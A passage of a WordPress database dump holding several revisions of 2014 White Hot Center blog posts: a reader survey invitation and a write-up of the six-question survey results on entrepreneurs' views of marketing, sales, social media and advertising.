strategic business development.\r\n\r\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who have subscribed to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work, commenting, and sharing my stuff to your social network.\r\n\r\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps me going, striving and learning to be better!\r\n\r\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\r\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Here’s the link to the Survey</a></h2>\r\n<strong>Thank you in advance for your help!</strong>\r\n\r\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'inherit', 'open', 'open', '', '2672-revision-14', '', '', '2014-07-23 11:50:16', '2014-07-23 18:50:16', '', 2672, 'http://www.whitehotcenter.com/2014/07/2672-revision-14/', 0, 'revision', '', 0),
(2688, 2, '2014-07-23 11:52:37', '2014-07-23 18:52:37', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\n<h2>To create more inspiring and useful content here on the blog, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.</h2>\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Click the link to the Survey</a></h2>\nOver the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\n\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of strategic business development.\n\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who have subscribed to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work, commenting, and sharing my stuff to your social network.\n\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps me going, striving and learning to be better!\n\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Here’s the link to the Survey</a></h2>\n<strong>Thank you in advance for your help!</strong>\n\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'inherit', 'open', 'open', '', '2672-autosave', '', '', '2014-07-23 11:52:37', '2014-07-23 18:52:37', '', 2672, 'http://www.whitehotcenter.com/2014/07/2672-autosave/', 0, 'revision', '', 0),
(2689, 2, '2014-07-28 16:11:42', '2014-07-28 23:11:42', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg"><img class="alignnone size-full wp-image-2690" title="WHC Survey" src="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg" alt="" width="495" height="300" /></a>\r\n<h1>The results of the recent White Hot Center Survey have been analyzed and the insights are illuminating.</h1>\r\nThank you to all the White Hot Center readers and followers in my social media channels who took part in my little survey. In an effort to create content here that is more relevant and useful to you (early stage entrepreneurs and solo professionals), I asked readers to answer six questions about what matters most to them in growing their business to the next level.\r\n\r\nThe survey asked respondents six multiple-choice questions about their business growth. The respondent participation was in great enough numbers for me to get a snapshot of what is on the minds of entrepreneurs these days.\r\n\r\nIn reviewing the results, the insight gained was reinforcement to several assumptions I’ve been formulating in my head about what is of most interest to entrepreneurs at the beginning of their journey.  At the same time there were a couple of interesting results that were illuminating as well. Without further ado, I’m delighted to share the results of the survey with you.\r\n<h3><strong>Question 1</strong><em></em></h3>\r\n<em>When you think about how best to grow your business, what concerns you the most? a) finding and retaining talented employees, b) marketing and sales, c) creating new products and services</em>\r\n<h3><strong>The Result</strong>:</h3>\r\nNearly 60% of respondents said marketing and sales were their greatest concern. The other two options were equally divided at 22% each.\r\n\r\nOf course this was not a big surprise at all. Compared to finding the right employees and innovating the right products, nothing matters more than acquiring higher value customers. We all know without customers there is no business. However the next question revealed something very interesting.\r\n<h3><strong>Question 2</strong></h3>\r\n<em>What activities do you enjoy most in growing your business? A) product development and innovation, b) sales and marketing, c) leading your team.</em>\r\n\r\n<strong>The  Result:</strong>\r\n\r\nNearly 70% of respondents said product development and innovation is what they love most about growing their business. Conversely, and for as much concern as entrepreneurs claim, sales and marketing is something very few enjoy or do at all.\r\n\r\nOnly 20% of respondents said they enjoy sales and marketing activities. The takeaway here is learn to enjoy sales and marketing or delegate that function to someone else who enjoys marketing and sales as much as you enjoy the creative activities of product or service innovation. Clearly, actively engaging in marketing and sales is the main event in growing your business. Marketing and sales is the primary pain point for entrepreneurs–very few business owners enjoy selling.\r\n<h3><strong>Question 3</strong></h3>\r\n<em>How effective is social media as a means to grow your business? A) most effective, b) important but not critical, c) not effective at all</em>\r\n<h3><strong>The Result:</strong></h3>\r\nOne would think in our social media driven world today, entrepreneurs would rank social media as the most effective means for business growth. Surprisingly, nearly 70% of respondents said social media was “important but not critical”.  Only 25 % said it was “most effective”.\r\n\r\nClearly when you combine A and B together, respondents firmly grasp the power of social media channels to grow their business. However the majority of respondents believe social media is not a critical component. This leads me to believe real face-to-face interactions with customers is still the X factor that leads to sustained business success.\r\n<h3><strong>Question 4</strong></h3>\r\n<em>When seeking new information to grow your business, what works best for you? a) reading blogs, b) listening to podcasts or watching videos, c) attending teleseminars and webinars</em>\r\n<h3><strong>The Result</strong></h3>\r\nNearly two-thirds (59%) of respondents say blogs is their preferred source when seeking new information. That’s more than double those who watch video or listen to podcasts (21%). Teleseminars or webinars ranked lowest at 18%.\r\n\r\nCandidly, I’m delighted to know blogs are still the main source of learning for entrepreneurs growing their business. For as much buzz as video and webinars get as effective learning tools, according to the results here, good old fashion reading still reins supreme.\r\n<h3><strong>Question 5</strong></h3>\r\n<em>How confident are you in your ability to target high value customers? a) very confident, b) moderately confident, c) not at all</em>\r\n<h3><em></em><strong>The Result</strong></h3>\r\nI was a bit surprised to learn that nearly 75% of respondents are very to moderately confident in their ability to target high value customers. With 55% being moderately confident.\r\n\r\nWhat is perplexing to me is why is marketing so painful when there appears to be such a high level of confidence in targeting the right customers? Seemingly the high confidence levels in targeting would make the marketing and sales process much easier and more enjoyable.\r\n<h3><strong>Question 6</strong></h3>\r\n<em>When investing your money to grow your business, what method has produced the best result? a) direct marketing, b) paid advertising, c) PR or earned media</em>\r\n<h3><strong>The Result</strong></h3>\r\nNot one respondent (o%) said paid advertising produced the best result. 57% said direct marketing produced the best result, and 43% said PR produced the best result. Of course the web provides an effective tool for direct response marketing as well as an effective tool for creating buzz. Nobody is thinking paid advertising is an effective tactic for growing his or her business. Ask yourself how effective was your last paid Google search, Facebook or Linkedin campaign in generating customer engagement.\r\n\r\n<strong>What matters most in growing your business.</strong>\r\n\r\nFor respondents of the survey, they clearly revealed their pain is marketing and sales and their joy is product or service innovation.  The takeaway for me is to help early stage entrepreneurs bridge their love of creativity and innovation to their resistance to marketing and sales. They are two sides of the same coin.\r\n\r\nCreating value for customers and sharing the benefits of that value with prospective customers and clients is the key to creating more impact, influence and income.\r\n\r\n<em>If you found this post helpful, please subscribe to the blog.</em>', 'Insight into what matters most to you in growing your business.', 0, '', 'publish', 'open', 'open', '', 'insight-into-what-matters-most-to-you-in-growing-your-business', '', '', '2014-07-28 16:11:42', '2014-07-28 23:11:42', '', 0, 'http://www.whitehotcenter.com/?p=2689', 0, 'post', '', 2),
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(2692, 2, '2014-07-28 16:01:11', '2014-07-28 23:01:11', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg"><img class="alignnone size-full wp-image-2690" title="WHC Survey" src="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg" alt="" width="495" height="300" /></a>\n<h1>The results of the recent White Hot Center Survey have been analyzed and the insights are illuminating.</h1>\nThank you to all the White Hot Cenrer readers and followers in my social media channels who took part in my little survey. In an effort to create content here that is more relevant and useful to you (early stage entrepreneurs and solo professionals), I asked readers to answer six questions about what matters most to them in growing their business to the next level.\n\nThe survey asked respondents six multiple-choice questions about their business growth. The respondent participation was in great enough numbers for me to get a snapshot of what is on the minds of entrepreneurs these days.\n\nIn reviewing the results, the insight gained was reinforcement to several assumptions I’ve been formulating in my head about what is of most interest to entrepreneurs at the beginning of their journey.  At the same time there were a couple of interesting results that were illuminating as well. Without further ado, I’m delighted to share the results of the survey with you.\n<h3><strong>Question 1</strong><em></em></h3>\n<em>When you think about how best to grow your business, what concerns you the most?\na) finding and retaining talented employees, b) marketing and sales, c) creating new products and services</em>\n<h3><strong>The Result</strong>:</h3>\nNearly 60% of respondents said marketing and sales were their greatest concern. The other two options were equally divided at 22% each.\n\nOf course this was not a big surprise at all. Compared to finding the right employees and innovating the right products, nothing matters more than acquiring higher value customers. We all know without customers there is no business. However the next question revealed something very interesting.\n<h3><strong>Question 2</strong></h3>\n<em>What activities do you enjoy most in growing your business? A) product development and innovation, b) sales and marketing, c) leading your team.</em>\n\n<strong>The  Result:</strong>\n\nNearly 70% of respondents said product development and innovation is what they love most about growing their business. Conversely, and for as much concern as entrepreneurs claim, sales and marketing is something very few enjoy or do at all.\n\nOnly 20% of respondents said they enjoy sales and marketing activities. The takeaway here is learn to enjoy sales and marketing or delegate that function to someone else who enjoys marketing and sales as much as you enjoy the creative activities of product or service innovation. Clearly, actively engaging in marketing and sales is the main event in growing your business. Marketing and sales is the primary pain point for entrepreneurs–very few business owners enjoy selling.\n<h3><strong>Question 3</strong></h3>\n<em>How effective is social media as a means to grow your business? A) most effective, b) important but not critical, c) not effective at all</em>\n<h3><strong>The Result:</strong></h3>\nOne would think in our social media driven world today, entrepreneurs would rank social media as the most effective means for business growth. Surprisingly, nearly 70% of respondents said social media was “important but not critical”.  Only 25 % said it was “most effective”.\n\nClearly when you combine A and B together, respondents firmly grasp the power of social media channels to grow their business. However the majority of respondents believe social media is not a critical component. This leads me to believe real face-to-face interactions with customers is still the X factor that leads to sustained business success.\n<h3><strong>Question 4</strong></h3>\n<em>When seeking new information to grow your business, what works best for you? a) reading blogs, b) listening to podcasts or watching videos, c) attending teleseminars and webinars</em>\n<h3><strong>The Result</strong></h3>\nNearly two-thirds (59%) of respondents say blogs is their preferred source when seeking new information. That’s more than double those who watch video or listen to podcasts (21%). Teleseminars or webinars ranked lowest at 18%.\n\nCandidly, I’m delighted to know blogs are still the main source of learning for entrepreneurs growing their business. For as much buzz as video and webinars get as effective learning tools, according to the results here, good old fashion reading still reins supreme.\n<h3><strong>Question 5</strong></h3>\n<em>How confident are you in your ability to target high value customers? a) very confident, b) moderately confident, c) not at all</em>\n<h3><em></em><strong>The Result</strong></h3>\nI was a bit surprised to learn that nearly 75% of respondents are very to moderately confident in their ability to target high value customers. With 55% being moderately confident.\n\nWhat is perplexing to me is why is marketing so painful when there appears to be such a high level of confidence in targeting the right customers? Seemingly the high confidence levels in targeting would make the marketing and sales process much easier and more enjoyable.\n<h3><strong>Question 6</strong></h3>\n<em>When investing your money to grow your business, what method has produced the best result? a) direct marketing, b) paid advertising, c) PR or earned media</em>\n<h3><strong>The Result</strong></h3>\nNot one respondent (o%) said paid advertising produced the best result. 57% said direct marketing produced the best result, and 43% said PR produced the best result. Of course the web provides an effective tool for direct response marketing as well as an effective tool for creating buzz. Nobody is thinking paid advertising is an effective tactic for growing his or her business. Ask yourself how effective was your last paid Google search, Facebook or Linkedin campaign in generating customer engagement.\n\n<strong>What matters most in growing your business.</strong>\n\nFor respondents of the survey, they clearly revealed their pain is marketing and sales and their joy is product or service innovation.  The takeaway for me is to help early stage entrepreneurs bridge their love of creativity and innovation to their resistance to marketing and sales. They are two sides of the same coin.\n\nCreating value for customers and sharing the benefits of that value with prospective customers and clients is the key to creating more impact, influence and income.\n\n<em>If you found this post helpful, please subscribe to the blog.</em>', 'Insight into what matters most to you in growing your business.', 0, '', 'inherit', 'open', 'open', '', '2689-revision-2', '', '', '2014-07-28 16:01:11', '2014-07-28 23:01:11', '', 2689, 'http://www.whitehotcenter.com/2014/07/2689-revision-2/', 0, 'revision', '', 0),
(2691, 2, '2014-07-28 15:56:09', '2014-07-28 22:56:09', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg"><img class="alignnone size-full wp-image-2690" title="WHC Survey" src="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg" alt="" width="495" height="300" /></a>\n<h1>The results of the recent White Hot Center Survey have been analyzed and the insights are illuminating.</h1>\nThank you to all the White Hot Cenrer readers and followers in my social media channels who took part in my little survey. In an effort to create content here that is more relevant and useful to you (early stage entrepreneurs and solo professionals), I asked readers to answer six questions about what matters most to them in growing their business to the next level.\n\nThe survey asked respondents six multiple-choice questions about their business growth. The respondent participation was in great enough numbers for me to get a snapshot of what is on the minds of entrepreneurs these days.\n\nIn reviewing the results, the insight gained was reinforcement to several assumptions I’ve been formulating in my head about what is of most interest to entrepreneurs at the beginning of their journey.  At the same time there were a couple of interesting results that were illuminating as well. Without further ado, I’m delighted to share the results of the survey with you.\n<h3><strong>Question 1</strong><em></em></h3>\n<em>When you think about how best to grow your business, what concerns you the most?\na) finding and retaining talented employees, b) marketing and sales, c) creating new products and services</em>\n<h3><strong>The Result</strong>:</h3>\nNearly 60% of respondents said marketing and sales were their greatest concern. The other two options were equally divided at 22% each.\n\nOf course this was not a big surprise at all. Compared to finding the right employees and innovating the right products, nothing matters more than acquiring higher value customers. We all know without customers there is no business. However the next question revealed something very interesting.\n\n<strong>Question 2</strong>\n<em>What activities do you enjoy most in growing your business? A) product development and innovation, b) sales and marketing, c) leading your team.</em>\n\n&nbsp;\n\n<strong> </strong>\n\n<strong> </strong>\n\n<strong> </strong>\n\n<strong> </strong>\n\n<strong>The  Result:</strong>\n\nNearly 70% of respondents said product development and innovation is what they love most about growing their business. Conversely, and for as much concern as entrepreneurs claim, sales and marketing is something very few enjoy or do at all.\n\n&nbsp;\n\nOnly 20% of respondents said they enjoy sales and marketing activities. The takeaway here is learn to enjoy sales and marketing or delegate that function to someone else who enjoys marketing and sales as much as you enjoy the creative activities of product or service innovation. Clearly, actively engaging in marketing and sales is the main event in growing your business. Marketing and sales is the primary pain point for entrepreneurs–very few business owners enjoy selling.\n\n&nbsp;\n\n<strong>Question 3</strong>\n\n<em>How effective is social media as a means to grow your business? A) most effective, b) important but not critical, c) not effective at all</em>\n\n&nbsp;\n\n<strong>The Result:</strong>\n\nOne would think in our social media driven world today, entrepreneurs would rank social media as the most effective means for business growth. Surprisingly, nearly 70% of respondents said social media was “important but not critical”.  Only 25 % said it was “most effective”.\n\n&nbsp;\n\nClearly when you combine A and B together, respondents firmly grasp the power of social media channels to grow their business. However the majority of respondents believe social media is not a critical component. This leads me to believe real face-to-face interactions with customers is still the X factor that leads to sustained business success.\n\n&nbsp;\n\n<strong>Question 4</strong>\n\n<em>When seeking new information to grow your business, what works best for you? a) reading blogs, b) listening to podcasts or watching videos, c) attending teleseminars and webinars</em>\n\n&nbsp;\n\n<strong>The Result</strong>\n\nNearly two-thirds (59%) of respondents say blogs is their preferred source when seeking new information. That’s more than double those who watch video or listen to podcasts (21%). Teleseminars or webinars ranked lowest at 18%.\n\n&nbsp;\n\nCandidly, I’m delighted to know blogs are still the main source of learning for entrepreneurs growing their business. For as much buzz as video and webinars get as effective learning tools, according to the results here, good old fashion reading still reins supreme.\n\n&nbsp;\n\n<strong>Question 5</strong>\n\n<em>How confident are you in your ability to target high value customers? a) very confident, b) moderately confident, c) not at all</em>\n\n<em> </em>\n\n<strong>The Result</strong>\nI was a bit surprised to learn that nearly 75% of respondents are very to moderately confident in their ability to target high value customers. With 55% being moderately confident.\n\n&nbsp;\n\nWhat is perplexing to me is why is marketing so painful when there appears to be such a high level of confidence in targeting the right customers? Seemingly the high confidence levels in targeting would make the marketing and sales process much easier and more enjoyable.\n\n&nbsp;\n\n<strong>Question 6</strong>\n\n<em>When investing your money to grow your business, what method has produced the best result? a) direct marketing, b) paid advertising, c) PR or earned media</em>\n\n&nbsp;\n\n<strong>The Result</strong>\n\nNot one respondent (o%) said paid advertising produced the best result. 57% said direct marketing produced the best result, and 43% said PR produced the best result.\n\n&nbsp;\n\nOf course the web provides an effective tool for direct response marketing as well as an effective tool for creating buzz. Nobody is thinking paid advertising is an effective tactic for growing his or her business. Ask yourself how effective was your last paid Google search, Facebook or Linkedin campaign in generating customer engagement.\n\n&nbsp;\n\n<strong>What matters most in growing your business.</strong>\n\n&nbsp;\n\nFor respondents of the survey, they clearly revealed their pain is marketing and sales and their joy is product or service innovation.  The takeaway for me is to help early stage entrepreneurs bridge their love of creativity and innovation to their resistance to marketing and sales. They are two sides of the same coin.\n\n&nbsp;\n\nCreating value for customers and sharing the benefits of that value with prospective customers and clients is the key to creating more impact, influence and income.\n\n&nbsp;\n\n<em>If you found this post helpful, please subscribe to the blog.</em>', 'Insight into what matters most to you in growing your business.', 0, '', 'inherit', 'open', 'open', '', '2689-revision', '', '', '2014-07-28 15:56:09', '2014-07-28 22:56:09', '', 2689, 'http://www.whitehotcenter.com/2014/07/2689-revision/', 0, 'revision', '', 0),
(2695, 2, '2014-07-28 16:04:01', '2014-07-28 23:04:01', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg"><img class="alignnone size-full wp-image-2690" title="WHC Survey" src="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg" alt="" width="495" height="300" /></a>\n<h1>The results of the recent White Hot Center Survey have been analyzed and the insights are illuminating.</h1>\nThank you to all the White Hot Center readers and followers in my social media channels who took part in my little survey. In an effort to create content here that is more relevant and useful to you (early stage entrepreneurs and solo professionals), I asked readers to answer six questions about what matters most to them in growing their business to the next level.\n\nThe survey asked respondents six multiple-choice questions about their business growth. The respondent participation was in great enough numbers for me to get a snapshot of what is on the minds of entrepreneurs these days.\n\nIn reviewing the results, the insight gained was reinforcement to several assumptions I’ve been formulating in my head about what is of most interest to entrepreneurs at the beginning of their journey.  At the same time there were a couple of interesting results that were illuminating as well. Without further ado, I’m delighted to share the results of the survey with you.\n<h3><strong>Question 1</strong><em></em></h3>\n<em>When you think about how best to grow your business, what concerns you the most? a) finding and retaining talented employees, b) marketing and sales, c) creating new products and services</em>\n<h3><strong>The Result</strong>:</h3>\nNearly 60% of respondents said marketing and sales were their greatest concern. The other two options were equally divided at 22% each.\n\nOf course this was not a big surprise at all. Compared to finding the right employees and innovating the right products, nothing matters more than acquiring higher value customers. We all know without customers there is no business. However the next question revealed something very interesting.\n<h3><strong>Question 2</strong></h3>\n<em>What activities do you enjoy most in growing your business? A) product development and innovation, b) sales and marketing, c) leading your team.</em>\n\n<strong>The  Result:</strong>\n\nNearly 70% of respondents said product development and innovation is what they love most about growing their business. Conversely, and for as much concern as entrepreneurs claim, sales and marketing is something very few enjoy or do at all.\n\nOnly 20% of respondents said they enjoy sales and marketing activities. The takeaway here is learn to enjoy sales and marketing or delegate that function to someone else who enjoys marketing and sales as much as you enjoy the creative activities of product or service innovation. Clearly, actively engaging in marketing and sales is the main event in growing your business. Marketing and sales is the primary pain point for entrepreneurs–very few business owners enjoy selling.\n<h3><strong>Question 3</strong></h3>\n<em>How effective is social media as a means to grow your business? A) most effective, b) important but not critical, c) not effective at all</em>\n<h3><strong>The Result:</strong></h3>\nOne would think in our social media driven world today, entrepreneurs would rank social media as the most effective means for business growth. Surprisingly, nearly 70% of respondents said social media was “important but not critical”.  Only 25 % said it was “most effective”.\n\nClearly when you combine A and B together, respondents firmly grasp the power of social media channels to grow their business. However the majority of respondents believe social media is not a critical component. This leads me to believe real face-to-face interactions with customers is still the X factor that leads to sustained business success.\n<h3><strong>Question 4</strong></h3>\n<em>When seeking new information to grow your business, what works best for you? a) reading blogs, b) listening to podcasts or watching videos, c) attending teleseminars and webinars</em>\n<h3><strong>The Result</strong></h3>\nNearly two-thirds (59%) of respondents say blogs is their preferred source when seeking new information. That’s more than double those who watch video or listen to podcasts (21%). Teleseminars or webinars ranked lowest at 18%.\n\nCandidly, I’m delighted to know blogs are still the main source of learning for entrepreneurs growing their business. For as much buzz as video and webinars get as effective learning tools, according to the results here, good old fashion reading still reins supreme.\n<h3><strong>Question 5</strong></h3>\n<em>How confident are you in your ability to target high value customers? a) very confident, b) moderately confident, c) not at all</em>\n<h3><em></em><strong>The Result</strong></h3>\nI was a bit surprised to learn that nearly 75% of respondents are very to moderately confident in their ability to target high value customers. With 55% being moderately confident.\n\nWhat is perplexing to me is why is marketing so painful when there appears to be such a high level of confidence in targeting the right customers? Seemingly the high confidence levels in targeting would make the marketing and sales process much easier and more enjoyable.\n<h3><strong>Question 6</strong></h3>\n<em>When investing your money to grow your business, what method has produced the best result? a) direct marketing, b) paid advertising, c) PR or earned media</em>\n<h3><strong>The Result</strong></h3>\nNot one respondent (o%) said paid advertising produced the best result. 57% said direct marketing produced the best result, and 43% said PR produced the best result. Of course the web provides an effective tool for direct response marketing as well as an effective tool for creating buzz. Nobody is thinking paid advertising is an effective tactic for growing his or her business. Ask yourself how effective was your last paid Google search, Facebook or Linkedin campaign in generating customer engagement.\n\n<strong>What matters most in growing your business.</strong>\n\nFor respondents of the survey, they clearly revealed their pain is marketing and sales and their joy is product or service innovation.  The takeaway for me is to help early stage entrepreneurs bridge their love of creativity and innovation to their resistance to marketing and sales. They are two sides of the same coin.\n\nCreating value for customers and sharing the benefits of that value with prospective customers and clients is the key to creating more impact, influence and income.\n\n<em>If you found this post helpful, please subscribe to the blog.</em>', 'Insight into what matters most to you in growing your business.', 0, '', 'inherit', 'open', 'open', '', '2689-revision-5', '', '', '2014-07-28 16:04:01', '2014-07-28 23:04:01', '', 2689, 'http://www.whitehotcenter.com/2014/07/2689-revision-5/', 0, 'revision', '', 0),
(2693, 2, '2014-07-28 16:02:07', '2014-07-28 23:02:07', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg"><img class="alignnone size-full wp-image-2690" title="WHC Survey" src="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg" alt="" width="495" height="300" /></a>\r\n<h1>The results of the recent White Hot Center Survey have been analyzed and the insights are illuminating.</h1>\r\nThank you to all the White Hot Center readers and followers in my social media channels who took part in my little survey. In an effort to create content here that is more relevant and useful to you (early stage entrepreneurs and solo professionals), I asked readers to answer six questions about what matters most to them in growing their business to the next level.\r\n\r\nThe survey asked respondents six multiple-choice questions about their business growth. The respondent participation was in great enough numbers for me to get a snapshot of what is on the minds of entrepreneurs these days.\r\n\r\nIn reviewing the results, the insight gained was reinforcement to several assumptions I’ve been formulating in my head about what is of most interest to entrepreneurs at the beginning of their journey.  At the same time there were a couple of interesting results that were illuminating as well. Without further ado, I’m delighted to share the results of the survey with you.\r\n<h3><strong>Question 1</strong><em></em></h3>\r\n<em>When you think about how best to grow your business, what concerns you the most?\r\na) finding and retaining talented employees, b) marketing and sales, c) creating new products and services</em>\r\n<h3><strong>The Result</strong>:</h3>\r\nNearly 60% of respondents said marketing and sales were their greatest concern. The other two options were equally divided at 22% each.\r\n\r\nOf course this was not a big surprise at all. Compared to finding the right employees and innovating the right products, nothing matters more than acquiring higher value customers. We all know without customers there is no business. However the next question revealed something very interesting.\r\n<h3><strong>Question 2</strong></h3>\r\n<em>What activities do you enjoy most in growing your business? A) product development and innovation, b) sales and marketing, c) leading your team.</em>\r\n\r\n<strong>The  Result:</strong>\r\n\r\nNearly 70% of respondents said product development and innovation is what they love most about growing their business. Conversely, and for as much concern as entrepreneurs claim, sales and marketing is something very few enjoy or do at all.\r\n\r\nOnly 20% of respondents said they enjoy sales and marketing activities. The takeaway here is learn to enjoy sales and marketing or delegate that function to someone else who enjoys marketing and sales as much as you enjoy the creative activities of product or service innovation. Clearly, actively engaging in marketing and sales is the main event in growing your business. Marketing and sales is the primary pain point for entrepreneurs–very few business owners enjoy selling.\r\n<h3><strong>Question 3</strong></h3>\r\n<em>How effective is social media as a means to grow your business? A) most effective, b) important but not critical, c) not effective at all</em>\r\n<h3><strong>The Result:</strong></h3>\r\nOne would think in our social media driven world today, entrepreneurs would rank social media as the most effective means for business growth. Surprisingly, nearly 70% of respondents said social media was “important but not critical”.  Only 25 % said it was “most effective”.\r\n\r\nClearly when you combine A and B together, respondents firmly grasp the power of social media channels to grow their business. However the majority of respondents believe social media is not a critical component. This leads me to believe real face-to-face interactions with customers is still the X factor that leads to sustained business success.\r\n<h3><strong>Question 4</strong></h3>\r\n<em>When seeking new information to grow your business, what works best for you? a) reading blogs, b) listening to podcasts or watching videos, c) attending teleseminars and webinars</em>\r\n<h3><strong>The Result</strong></h3>\r\nNearly two-thirds (59%) of respondents say blogs is their preferred source when seeking new information. That’s more than double those who watch video or listen to podcasts (21%). Teleseminars or webinars ranked lowest at 18%.\r\n\r\nCandidly, I’m delighted to know blogs are still the main source of learning for entrepreneurs growing their business. For as much buzz as video and webinars get as effective learning tools, according to the results here, good old fashion reading still reins supreme.\r\n<h3><strong>Question 5</strong></h3>\r\n<em>How confident are you in your ability to target high value customers? a) very confident, b) moderately confident, c) not at all</em>\r\n<h3><em></em><strong>The Result</strong></h3>\r\nI was a bit surprised to learn that nearly 75% of respondents are very to moderately confident in their ability to target high value customers. With 55% being moderately confident.\r\n\r\nWhat is perplexing to me is why is marketing so painful when there appears to be such a high level of confidence in targeting the right customers? Seemingly the high confidence levels in targeting would make the marketing and sales process much easier and more enjoyable.\r\n<h3><strong>Question 6</strong></h3>\r\n<em>When investing your money to grow your business, what method has produced the best result? a) direct marketing, b) paid advertising, c) PR or earned media</em>\r\n<h3><strong>The Result</strong></h3>\r\nNot one respondent (o%) said paid advertising produced the best result. 57% said direct marketing produced the best result, and 43% said PR produced the best result. Of course the web provides an effective tool for direct response marketing as well as an effective tool for creating buzz. Nobody is thinking paid advertising is an effective tactic for growing his or her business. Ask yourself how effective was your last paid Google search, Facebook or Linkedin campaign in generating customer engagement.\r\n\r\n<strong>What matters most in growing your business.</strong>\r\n\r\nFor respondents of the survey, they clearly revealed their pain is marketing and sales and their joy is product or service innovation.  The takeaway for me is to help early stage entrepreneurs bridge their love of creativity and innovation to their resistance to marketing and sales. They are two sides of the same coin.\r\n\r\nCreating value for customers and sharing the benefits of that value with prospective customers and clients is the key to creating more impact, influence and income.\r\n\r\n<em>If you found this post helpful, please subscribe to the blog.</em>', 'Insight into what matters most to you in growing your business.', 0, '', 'inherit', 'open', 'open', '', '2689-revision-3', '', '', '2014-07-28 16:02:07', '2014-07-28 23:02:07', '', 2689, 'http://www.whitehotcenter.com/2014/07/2689-revision-3/', 0, 'revision', '', 0),
(2694, 2, '2014-07-28 16:02:12', '2014-07-28 23:02:12', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg"><img class="alignnone size-full wp-image-2690" title="WHC Survey" src="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg" alt="" width="495" height="300" /></a>\r\n<h1>The results of the recent White Hot Center Survey have been analyzed and the insights are illuminating.</h1>\r\nThank you to all the White Hot Center readers and followers in my social media channels who took part in my little survey. In an effort to create content here that is more relevant and useful to you (early stage entrepreneurs and solo professionals), I asked readers to answer six questions about what matters most to them in growing their business to the next level.\r\n\r\nThe survey asked respondents six multiple-choice questions about their business growth. The respondent participation was in great enough numbers for me to get a snapshot of what is on the minds of entrepreneurs these days.\r\n\r\nIn reviewing the results, the insight gained was reinforcement to several assumptions I’ve been formulating in my head about what is of most interest to entrepreneurs at the beginning of their journey.  At the same time there were a couple of interesting results that were illuminating as well. Without further ado, I’m delighted to share the results of the survey with you.\r\n<h3><strong>Question 1</strong><em></em></h3>\r\n<em>When you think about how best to grow your business, what concerns you the most?\r\na) finding and retaining talented employees, b) marketing and sales, c) creating new products and services</em>\r\n<h3><strong>The Result</strong>:</h3>\r\nNearly 60% of respondents said marketing and sales were their greatest concern. The other two options were equally divided at 22% each.\r\n\r\nOf course this was not a big surprise at all. Compared to finding the right employees and innovating the right products, nothing matters more than acquiring higher value customers. We all know without customers there is no business. However the next question revealed something very interesting.\r\n<h3><strong>Question 2</strong></h3>\r\n<em>What activities do you enjoy most in growing your business? A) product development and innovation, b) sales and marketing, c) leading your team.</em>\r\n\r\n<strong>The  Result:</strong>\r\n\r\nNearly 70% of respondents said product development and innovation is what they love most about growing their business. Conversely, and for as much concern as entrepreneurs claim, sales and marketing is something very few enjoy or do at all.\r\n\r\nOnly 20% of respondents said they enjoy sales and marketing activities. The takeaway here is learn to enjoy sales and marketing or delegate that function to someone else who enjoys marketing and sales as much as you enjoy the creative activities of product or service innovation. Clearly, actively engaging in marketing and sales is the main event in growing your business. Marketing and sales is the primary pain point for entrepreneurs–very few business owners enjoy selling.\r\n<h3><strong>Question 3</strong></h3>\r\n<em>How effective is social media as a means to grow your business? A) most effective, b) important but not critical, c) not effective at all</em>\r\n<h3><strong>The Result:</strong></h3>\r\nOne would think in our social media driven world today, entrepreneurs would rank social media as the most effective means for business growth. Surprisingly, nearly 70% of respondents said social media was “important but not critical”.  Only 25 % said it was “most effective”.\r\n\r\nClearly when you combine A and B together, respondents firmly grasp the power of social media channels to grow their business. However the majority of respondents believe social media is not a critical component. This leads me to believe real face-to-face interactions with customers is still the X factor that leads to sustained business success.\r\n<h3><strong>Question 4</strong></h3>\r\n<em>When seeking new information to grow your business, 